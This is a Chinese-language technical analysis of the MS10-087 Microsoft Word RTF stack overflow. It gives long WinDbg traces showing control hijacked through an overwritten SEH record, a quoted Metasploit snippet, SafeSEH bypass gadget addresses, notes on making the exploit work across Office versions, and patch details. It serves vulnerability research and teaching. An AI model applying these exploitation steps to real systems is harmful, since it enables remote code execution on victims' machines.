This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00000022 edx=00000000 esi=1104c830 edi=00130000
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] <----发生异常
0:000> gn
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=00000022 edx=00000000 esi=1104c830 edi=00130000
eip=7c92e45c esp=001234c4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!KiUserExceptionDispatcher:
7c92e45c 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:001234c8=001234e8
0:000> dd esp
001234c4 001234cc 001234e8 c0000005 00000000
001234d4 00000000 30ed442c 00000002 00000001
001234e4 00130000 0001003f 00000000 00000000
001234f4 00000000 00000000 00000000 00000000
00123504 ffff037f ffff0000 ffffffff 30d582a7
00123514 00000000 00000000 ffff0000 ff354963
00123524 00000000 4963ffff 0000ff35 ffff0000
00123534 00000000 00000000 0000ffff 00000000
0:000> dt _EXCEPTION_RECORD 001234cc
ntdll!_EXCEPTION_RECORD
+0x000 ExceptionCode : 0n-1073741819 <---- 16进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规
+0x004 ExceptionFlags : 0
+0x008 ExceptionRecord : (null)
+0x00c ExceptionAddress : 0x30ed442c Void <---- 发生异常的指令地址
+0x010 NumberParameters : 2
+0x014 ExceptionInformation : [15] 1
0:000> dt _CONTEXT 001234e8
ntdll!_CONTEXT
+0x000 ContextFlags : 0x1003f
+0x004 Dr0 : 0
+0x008 Dr1 : 0
+0x00c Dr2 : 0
+0x010 Dr3 : 0
+0x014 Dr6 : 0
+0x018 Dr7 : 0
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : 0
+0x090 SegFs : 0x3b
+0x094 SegEs : 0x23
+0x098 SegDs : 0x23
+0x09c Edi : 0x130000
+0x0a0 Esi : 0x1104c830
+0x0a4 Ebx : 0x5000000
+0x0a8 Edx : 0
+0x0ac Ecx : 0x22
+0x0b0 Eax : 0xc8ac
+0x0b4 Ebp : 0x1237ec
+0x0b8 Eip : 0x30ed442c
+0x0bc SegCs : 0x1b
+0x0c0 EFlags : 0x10206
+0x0c4 Esp : 0x1237b4
+0x0c8 SegSs : 0x23
+0x0cc ExtendedRegisters : [512] "???"
0:000> g
Breakpoint 1 hit
eax=0000c8ac ebx=001234cc ecx=001234e8 edx=00000000 esi=1104c830 edi=00130000
eip=7c92e465 esp=001234bc ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!KiUserExceptionDispatcher+0x9:
7c92e465 e8e6c40100 call ntdll!RtlDispatchException (7c94a950)
0:000> dd esp
001234bc 001234cc 001234e8 001234cc 001234e8
001234cc c0000005 00000000 00000000 30ed442c
001234dc 00000002 00000001 00130000 0001003f
001234ec 00000000 00000000 00000000 00000000
001234fc 00000000 00000000 ffff037f ffff0000
0012350c ffffffff 30d582a7 00000000 00000000
0012351c ffff0000 ff354963 00000000 4963ffff
0012352c 0000ff35 ffff0000 00000000 00000000
0:000> t
eax=0000c8ac ebx=001234cc ecx=001234e8 edx=00000000 esi=1104c830 edi=00130000
eip=7c94a950 esp=001234b8 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException:
7c94a950 8bff mov edi,edi
0:000> g
Breakpoint 2 hit
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c92e4f4 esi=001234cc edi=00130000
eip=7c94a9ea esp=00123430 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xac:
7c94a9ea e85888fdff call ntdll!RtlpExecuteHandlerForException (7c923247)
0:000> dd esp
00123430 001234cc 0012ffb0 001234e8 001234a0
00123440 30001bdd 00130000 001234cc 1104c830
00123450 00000000 00000000 00000000 00000000
00123460 00000000 00000000 00000000 00000000
00123470 00000000 00000000 00000000 00000000
00123480 00000000 00000000 00000000 00000000
00123490 00000000 00000000 00000000 00000000
001234a0 00000000 00000000 00130000 00119000
0:000> dt _EXCEPTION_RECORD 001234cc
ntdll!_EXCEPTION_RECORD
+0x000 ExceptionCode : 0n-1073741819 <---- 16进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规
+0x004 ExceptionFlags : 0
+0x008 ExceptionRecord : (null)
+0x00c ExceptionAddress : 0x30ed442c Void <---- 发生异常的指令地址
+0x010 NumberParameters : 2
+0x014 ExceptionInformation : [15] 1
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ffb0
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xa29706eb _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x30001bdd _EXCEPTION_DISPOSITION +0
0:000> dt _CONTEXT 001234e8
ntdll!_CONTEXT
+0x000 ContextFlags : 0x1003f
+0x004 Dr0 : 0
+0x008 Dr1 : 0
+0x00c Dr2 : 0
+0x010 Dr3 : 0
+0x014 Dr6 : 0
+0x018 Dr7 : 0
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : 0
+0x090 SegFs : 0x3b
+0x094 SegEs : 0x23
+0x098 SegDs : 0x23
+0x09c Edi : 0x130000
+0x0a0 Esi : 0x1104c830
+0x0a4 Ebx : 0x5000000
+0x0a8 Edx : 0
+0x0ac Ecx : 0x22
+0x0b0 Eax : 0xc8ac
+0x0b4 Ebp : 0x1237ec
+0x0b8 Eip : 0x30ed442c
+0x0bc SegCs : 0x1b
+0x0c0 EFlags : 0x10206
+0x0c4 Esp : 0x1237b4
+0x0c8 SegSs : 0x23
+0x0cc ExtendedRegisters : [512] "???"
0:000> dd 001234a0
001234a0 00000000 00000000 00130000 00119000
001234b0 00000000 001237ec 7c92e46a 00000000
001234c0 001234e8 001234cc 001234e8 c0000005
001234d0 00000000 00000000 30ed442c 00000002
001234e0 00000001 00130000 0001003f 00000000
001234f0 00000000 00000000 00000000 00000000
00123500 00000000 ffff037f ffff0000 ffffffff
00123510 30d582a7 00000000 00000000 ffff0000
0:000> t
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c92e4f4 esi=001234cc edi=00130000
eip=7c923247 esp=0012342c ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpExecuteHandlerForException:
7c923247 babc32927c mov edx,offset ntdll!ExecuteHandler2+0x3a (7c9232bc) <---- ExecuteHandler2中安装的SEH记录的回调函数地址
0:000> p
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c92324c esp=0012342c ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlpExecuteHandlerForException+0x5:
7c92324c eb08 jmp ntdll!ExecuteHandler (7c923256)
0:000> p
Breakpoint 3 hit
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c923256 esp=0012342c ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler:
7c923256 53 push ebx
0:000> dd esp
0012342c 7c94a9ef 001234cc 0012ffb0 001234e8
0012343c 001234a0 30001bdd 00130000 001234cc
0012344c 1104c830 00000000 00000000 00000000
0012345c 00000000 00000000 00000000 00000000
0012346c 00000000 00000000 00000000 00000000
0012347c 00000000 00000000 00000000 00000000
0012348c 00000000 00000000 00000000 00000000
0012349c 00000000 00000000 00000000 00130000
0:000> p
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c923257 esp=00123428 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x1:
7c923257 56 push esi
0:000> p
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c923258 esp=00123424 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x2:
7c923258 57 push edi
0:000> p
eax=001234a0 ebx=0012ffb0 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c923259 esp=00123420 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x3:
7c923259 33c0 xor eax,eax
0:000> dd esp
00123420 00130000 001234cc 0012ffb0 7c94a9ef
00123430 001234cc 0012ffb0 001234e8 001234a0
00123440 30001bdd 00130000 001234cc 1104c830
00123450 00000000 00000000 00000000 00000000
00123460 00000000 00000000 00000000 00000000
00123470 00000000 00000000 00000000 00000000
00123480 00000000 00000000 00000000 00000000
00123490 00000000 00000000 00000000 00000000
0:000> p
eax=00000000 ebx=0012ffb0 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c92325b esp=00123420 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x5:
7c92325b 33db xor ebx,ebx
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=001234cc edi=00130000
eip=7c92325d esp=00123420 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x7:
7c92325d 33f6 xor esi,esi
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00130000
eip=7c92325f esp=00123420 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x9:
7c92325f 33ff xor edi,edi
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923261 esp=00123420 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0xb:
7c923261 ff742420 push dword ptr [esp+20h] ss:0023:00123440=30001bdd
0:000> p
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923265 esp=0012341c ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0xf:
7c923265 ff742420 push dword ptr [esp+20h] ss:0023:0012343c=001234a0
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923269 esp=00123418 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x13:
7c923269 ff742420 push dword ptr [esp+20h] ss:0023:00123438=001234e8
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c92326d esp=00123414 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x17:
7c92326d ff742420 push dword ptr [esp+20h] ss:0023:00123434=0012ffb0
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923271 esp=00123410 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x1b:
7c923271 ff742420 push dword ptr [esp+20h] ss:0023:00123430=001234cc
0:000>
Breakpoint 4 hit
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923275 esp=0012340c ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler+0x1f:
7c923275 e808000000 call ntdll!ExecuteHandler2 (7c923282)
0:000> dd esp
0012340c 001234cc 0012ffb0 001234e8 001234a0
0012341c 30001bdd 00130000 001234cc 0012ffb0
0012342c 7c94a9ef 001234cc 0012ffb0 001234e8
0012343c 001234a0 30001bdd 00130000 001234cc
0012344c 1104c830 00000000 00000000 00000000
0012345c 00000000 00000000 00000000 00000000
0012346c 00000000 00000000 00000000 00000000
0012347c 00000000 00000000 00000000 00000000
0:000> t
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923282 esp=00123408 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2:
7c923282 55 push ebp
0:000> p
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923283 esp=00123404 ebp=001234b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x1:
7c923283 8bec mov ebp,esp
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923285 esp=00123404 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x3:
7c923285 ff750c push dword ptr [ebp+0Ch] ss:0023:00123410=0012ffb0
0:000> p
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923288 esp=00123400 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x6:
7c923288 52 push edx <---- ERR->Handler
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923289 esp=001233fc ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x7:
7c923289 64ff3500000000 push dword ptr fs:[0] fs:003b:00000000=0012ffb0 <---- ERR->Next
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923290 esp=001233f8 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0xe:
7c923290 64892500000000 mov dword ptr fs:[0],esp fs:003b:00000000=0012ffb0 <---- 当前SEH链表头部
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c923297 esp=001233f8 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x15:
7c923297 ff7514 push dword ptr [ebp+14h] ss:0023:00123418=001234a0
0:000> dd esp
001233f8 0012ffb0 7c9232bc 0012ffb0 001234b4
00123408 7c92327a 001234cc 0012ffb0 001234e8
00123418 001234a0 30001bdd 00130000 001234cc
00123428 0012ffb0 7c94a9ef 001234cc 0012ffb0
00123438 001234e8 001234a0 30001bdd 00130000
00123448 001234cc 1104c830 00000000 00000000
00123458 00000000 00000000 00000000 00000000
00123468 00000000 00000000 00000000 00000000
0:000> dt _EXCEPTION_REGISTRATION_RECORD 001233f8
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0012ffb0 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x7c9232bc _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0
0:000> p
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c92329a esp=001233f4 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x18:
7c92329a ff7510 push dword ptr [ebp+10h] ss:0023:00123414=001234e8
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c92329d esp=001233f0 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x1b:
7c92329d ff750c push dword ptr [ebp+0Ch] ss:0023:00123410=0012ffb0
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c9232a0 esp=001233ec ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x1e:
7c9232a0 ff7508 push dword ptr [ebp+8] ss:0023:0012340c=001234cc
0:000>
eax=00000000 ebx=00000000 ecx=0000e085 edx=7c9232bc esi=00000000 edi=00000000
eip=7c9232a3 esp=001233e8 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
7c9232a3 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:0012341c=30001bdd
0:000>
Breakpoint 5 hit
eax=00000000 ebx=00000000 ecx=30001bdd edx=7c9232bc esi=00000000 edi=00000000
eip=7c9232a6 esp=001233e8 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
7c9232a6 ffd1 call ecx {WINWORD+0x1bdd (30001bdd)}
0:000> dd esp
001233e8 001234cc 0012ffb0 001234e8 001234a0
001233f8 0012ffb0 7c9232bc 0012ffb0 001234b4
00123408 7c92327a 001234cc 0012ffb0 001234e8
00123418 001234a0 30001bdd 00130000 001234cc
00123428 0012ffb0 7c94a9ef 001234cc 0012ffb0
00123438 001234e8 001234a0 30001bdd 00130000
00123448 001234cc 1104c830 00000000 00000000
00123458 00000000 00000000 00000000 00000000
0:000> dt _EXCEPTION_RECORD 001234cc
ntdll!_EXCEPTION_RECORD
+0x000 ExceptionCode : 0n-1073741819 <---- 16进制补码(C0000005),EXCEPTION_INVALID_VIOLATION,读写内存违规
+0x004 ExceptionFlags : 0
+0x008 ExceptionRecord : (null)
+0x00c ExceptionAddress : 0x30ed442c Void <---- 发生异常的指令地址
+0x010 NumberParameters : 2
+0x014 ExceptionInformation : [15] 1
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ffb0
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xa29706eb _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x30001bdd _EXCEPTION_DISPOSITION +0
0:000> dt _CONTEXT 001234e8
ntdll!_CONTEXT
+0x000 ContextFlags : 0x1003f
+0x004 Dr0 : 0
+0x008 Dr1 : 0
+0x00c Dr2 : 0
+0x010 Dr3 : 0
+0x014 Dr6 : 0
+0x018 Dr7 : 0
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : 0
+0x090 SegFs : 0x3b
+0x094 SegEs : 0x23
+0x098 SegDs : 0x23
+0x09c Edi : 0x130000
+0x0a0 Esi : 0x1104c830
+0x0a4 Ebx : 0x5000000
+0x0a8 Edx : 0
+0x0ac Ecx : 0x22
+0x0b0 Eax : 0xc8ac
+0x0b4 Ebp : 0x1237ec
+0x0b8 Eip : 0x30ed442c
+0x0bc SegCs : 0x1b
+0x0c0 EFlags : 0x10206
+0x0c4 Esp : 0x1237b4
+0x0c8 SegSs : 0x23
+0x0cc ExtendedRegisters : [512] "???"
0:000> t
Breakpoint 6 hit
eax=00000000 ebx=00000000 ecx=30001bdd edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdd esp=001233e4 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bdd:
30001bdd 59 pop ecx <---- 弹出异常处理函数返回地址
0:000> dd esp
001233e4 7c9232a8 001234cc 0012ffb0 001234e8
001233f4 001234a0 0012ffb0 7c9232bc 0012ffb0
00123404 001234b4 7c92327a 001234cc 0012ffb0
00123414 001234e8 001234a0 30001bdd 00130000
00123424 001234cc 0012ffb0 7c94a9ef 001234cc
00123434 0012ffb0 001234e8 001234a0 30001bdd
00123444 00130000 001234cc 1104c830 00000000
00123454 00000000 00000000 00000000 00000000
0:000> p
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=30001bde esp=001233e8 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bde:
30001bde 59 pop ecx <---- 弹出第一个参数,_EXCEPTION_RECORD结构体指针
0:000>
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdf esp=001233ec ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bdf:
30001bdf c3 ret <---- 返回到第二个参数(0x0012ffb0,ERR地址),也就是ERR->Next的内容形成的指令
0:000>
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=0012ffb0 esp=001233f0 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012ffb0 eb06 jmp 0012ffb8 <---- (jmp short,0x0012ffb8-0x0012ffb2=0x06,其16进制补码也为0x06,目的地址与当前指令的下一条指令的地址之差)
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ffb0
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xa29706eb _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x30001bdd _EXCEPTION_DISPOSITION +0
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=0012ffb8 esp=001233f0 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012ffb8 e91f38ffff jmp 001237dc <---- (jmp near,0x001237dc-0x0012ffbd=-51169,其16进制补码为0xFFFF381F)
0:000>
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=001237dc esp=001233f0 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
001237dc b8e69036d6 mov eax,0D63690E6h <---- Shellcode第一条指令

  如上所述,我们已经分析了覆盖SEH记录,以及发生异常后,系统是怎样调用SEH异常处理程序的,还有通过pop/pop/ret形式的ROPGadget跳转到栈上构造的用于跳转到Shellcode的指令去执行,最终跳转到Shellcode执行。

  此过程可以简化为下图所示:

覆盖SEH劫持控制流示意图

  msf中提供的漏洞利用模块就是使用覆盖SEH记录达成控制流劫持的。其中如下部分,就是关键部分,用于构建上图中的4,5两步骤

1
2
3
4
5
6
7
8
9
10
11
def add_target(rest, targ)
targ['Offsets'].each { |off|
# Rex::Exploitation::Seh
seh = generate_seh_record(targ.ret) # 生成SEH记录,"\xeb\x06xxxx",jmp short $+0x06
rest[off, seh.length] = seh
distance = off + seh.length
# jmp near $-,e9xxxxxxxx,SEH记录之后,用于跳转到Shellcode执行的指令
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
rest[off + seh.length, jmp_back.length] = jmp_back
}
end

环境:Win7&Office2007

  在Windows7中,已经引入了SEH校验机制SafeSEH。所以我们需要在未启用SafeSEH机制的模块中寻找POP/POP/RET形式的ROPGadget,来bypass SafeSEH。通过mona插件,我们可以知道msxml5.dll并未启用SafeSEH机制,而且在其中找到了POP/POP/RET形式的ROPGadget,其位于地址0x78812890处。

0x43 Office2003和Office2007 Exploit的通用性

  在前面通过覆盖返回地址劫持控制流的方法中,因为XP&Office2003Win7&Office2007的环境下,Office2003Office2007Word.exe都是未启用DEP的,所以都可以通过覆盖返回地址,在上执行Shellcode。而在Windows7中是支持映像ASLR的,所以需要在未启用ASLR的模块中,寻找“jmp esp”形式的ROPGadget。如果可以找到在两种环境下通用的ROPGadget,就可以实现Exploit的通用性

  对于通过覆盖SEH记录劫持控制流的方法,我们需要关心的是当前环境是否启用SafeSEHSEHOPWindows XP是不支持SEHOP的,虽然Windows7支持SEHOP,但是其默认是关闭的。而SafeSEHWindows XPWindows7上都是支持的,所以我们需要bypass SafeSEH。这里使用的方法就是利用未启用SafeSEH的模块bypass SafeSEH,我们需要在未启用SafeSEH的模块中找到用于SEH劫持POP/POP/RET形式的ROPGadget。如果模块未启用SafeSEH,并且该模块不是仅包含中间语言(IL,.Net编译),这个异常处理就可以被执行

  在XP&Office2003环境下,pFragments缓冲区起始地址为0x001237dc,栈底为0x00130000,0x00130000-0x001237dc=0xc824。在Win7&Office2007的环境下,pFragments缓冲区起始地址为0x0011fdf4,栈底为0x00130000,0x00130000-0x0011fdf4=0x1020c(关闭ASLR)未关闭ASLR的情况下,都是大于0x10000的。msf样本生成脚本中,使用的复制数据长度0xc8ac,这也是为什么用msf生成的样本在XP&Office2003环境下,复制过程中就会触发内存访问异常,而在Win7&Office2007的环境下,数据复制完成后,对已经覆盖的栈数据进行访问时才触发内存访问异常。发生异常的原因,和“覆盖返回地址”节的一样,sub_30F0B5C2(Office2003)/sub_32E5955E(Office2007)的第5个参数未被修改为0x0sub_30F0B5C2/sub_32E5955E返回前对已覆盖的栈数据进行访问,造成异常

  “漏洞战争”中,泉哥提供的思路是Office2003通过覆盖返回地址进行漏洞利用,被利用来覆盖返回地址的地址0x0026762f,在Office2003下是“call esp”的地址,该地址适用于Office2003 SP0-SP3等各个子版本,属于稳定的跳转地址。而在Office2007中,0x0026762f已不再是call/jmp esp形式的指令,但是用此地址覆盖Office2007关键函数sub_32E5955E返回地址,会造成异常,继而转入SEH异常处理程序。我们只需要同时覆盖Office2007环境下栈中最近的SEH记录,就可以劫持SEH异常处理程序。

通用Exploit的栈布局

  在msf漏洞利用模块中,Targets中有一个“Automatic”选项,其作用是将多个环境相关Target数据糅合到一个样本中,达到Exploit的通用性。因为msf漏洞利用模块对于所有环境,使用的都是覆盖SEH记录进行漏洞利用,而不同环境下SEH记录缓冲区起始地址Offset各不相同,所以很少会出现数据冲突的情况。

0x50 漏洞修复

环境:Win7&Office2007

  既然要分析这个漏洞官方是怎么修复的,首先要找到此漏洞对应的补丁。由于漏洞年代久远,Microsoft的网站又发生了很大的改变,补丁的下载页面已经找不到了,只找到如下两个链接
1、Microsoft 安全公告 MS10-087 - 严重
2、MS10-087:Microsoft Office 中的漏洞可能允许远程代码执行

  虽然当时的补丁公告页面已经无法下载补丁了,但是我们可以通过官方提供的补丁下载站下载指定补丁。我们可以使用KB编号(Knowledge Base:知识库)进行搜索,或者使用此漏洞的微软漏洞编号MS10-087进行搜索就可以了。

  我下载的是Office2007的补丁。我的分析环境中使用的是Office2007,未安装任何Service Pack包。如果直接安装这个补丁的话,会提示下图所示错误

补丁安装错误

  这里提示说有两个原因原因一是升级修补程序可能更新的是不同版本的程序,也就是说,我们安装的版本补丁检测的版本不匹配。原因二是升级修补程序不正确,也就是说补丁安装程序损坏了。经过思考,第一种的可能性大一点,我又查看了一下此漏洞的公告,公告中说此漏洞影响的是Office2007SP2版本,所以就想到可能是因为我没有安装Office2007SP2升级包。安装完Office2007SP2升级包,此漏洞的补丁就可以安装了。如下是补丁安装前后mso.dll的版本号:

1
2
3
1、SP2安装前:12.0.4518.1014
2、SP2安装后:12.0.6425.1000
3、补丁安装后:12.0.6545.5004

